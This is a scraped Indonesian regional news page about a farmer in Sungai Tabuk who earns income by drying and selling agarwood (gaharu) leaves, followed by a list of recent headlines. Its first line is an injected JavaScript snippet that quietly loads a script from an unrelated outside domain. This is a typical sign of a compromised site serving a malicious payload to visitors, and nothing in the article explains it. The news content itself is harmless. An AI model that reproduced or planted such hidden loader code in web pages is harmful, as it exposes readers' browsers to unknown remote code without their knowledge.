(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: EkonomiKanal

Rp 10 Juta Perbulan dari Daun Gaharu


SUNGAI TABUK- Bertanam Gaharu benar-benar memberikan berkah bagi kehidupan keluarga Suprapto. Tak hanya kayunya semata yang bisa mendatangkan keuntungan, bahkan daunnya pun bisa mendatangkan uang. Dari lahan seluas 160 x 60 m2 yang ditanami sekitar 1.500 pohon, ia bisa meraup rezeki hingga Rp 10 juta per bulan.

Bagaimana tidak, selama kurang lebih tiga tahun membudidaya pohon Gaharu, daunnya saja sudah memberikan omzet yang menjanjikan. Harga 1 kg daun Gaharu kering mencapai Rp 35 ribu di pasaran.

“Alhamdulillah kalau sudah panen, saya bisa meraup untung Rp 5-10 juta per bulan,” ungkapnya, Kamis (14/9).

Untuk sekali pengiriman daun Gaharu, ia mampu memasok sebanyak 150 kg. Namun, untuk bisa panen tidaklah perkara mudah. Soalnya harus menunggu waktu tumbuh besar setinggi 5 hingga 6 meter dulu untuk bisa dipetik.

Suprapto menunjukkan hasil panen daun gaharu dari kebun miliknya.

Untuk mencapai ketinggian tersebut, harus menunggu kurang lebih usia pohon 3 tahun. “Namanya juga pohon, jadi harus lama dulu nunggu sampai tinggi. Jadi sembari nunggu tiga tahun itu saya mesti nutupin keperluan rumah tangga lewat penghasilan jualan sayur di pasar,” ceritanya.

Baca : Khasiat Daun Gaharu hingga Dicari Orang Afrika

Sesudah Gaharu tumbuh tinggi, bagian dahan atau ranting pohon yang cukup dewasa segeralah dipotong dan dibawa ke dalam gudang untuk proses penjemuran. Cara penjemurannya pertama dahan gaharu digantung menggunakan tali kawat sebanyak tujuh baris yang dibentang vertikal. Lalu tunggu sampai mengering. Setelah kering segera daun-daun itu dibungkus dalam satu plastik transparan berukuran 1 meter itu. Plastik tersebut mampu menampung 2 kg daun gaharu kering  “Proses pengeringannya bisa sampai seminggu, tapi jika musim kemarau seperti sekarang bisa sampai empat hari saja,” ucapnya.

Untuk usahanya ini, Suprapto memiliki 2 bilik ruangan. Ruangan pertama berfungsi sebagai ruang jemur dan ruang satunya dijadikan sebagai ruang stok. “Kalau yang luas ini berfungsi untuk proses pengeringan, nah kalau yang satunya buat naroh daun yang sudah packing,” jelas pria yang kerap disapa Apto.

Sekali panen, Apto hanya memakan lahan seperempat dari luas lahan keseluruhan. Untuk jarak tanam minimal 2 meter, ini agar mendapatkan tinggi maksimal. Karena semakin tinggi pohon daun pada dahan akan semakin banyak.  “Sesudah panen saya akan pindah ke lahan sampingnya, setelah panen lagi pindah lagi, kemudian balik lagi ke area yang pertama saya panen, karena lahan pertama yang saya panen kembali menumbuhkan daun baru dan waktunya sekitar satu bulan usai panennya,” ungkapnya.

Untuk memaksimalkan lahan, Apto juga bertanam berbagai jenis tumbuhan seperti rambutan,  mangga, pisang, pete, daun keladi, hingga kenanga.***


Desy Arfianty

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

5 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.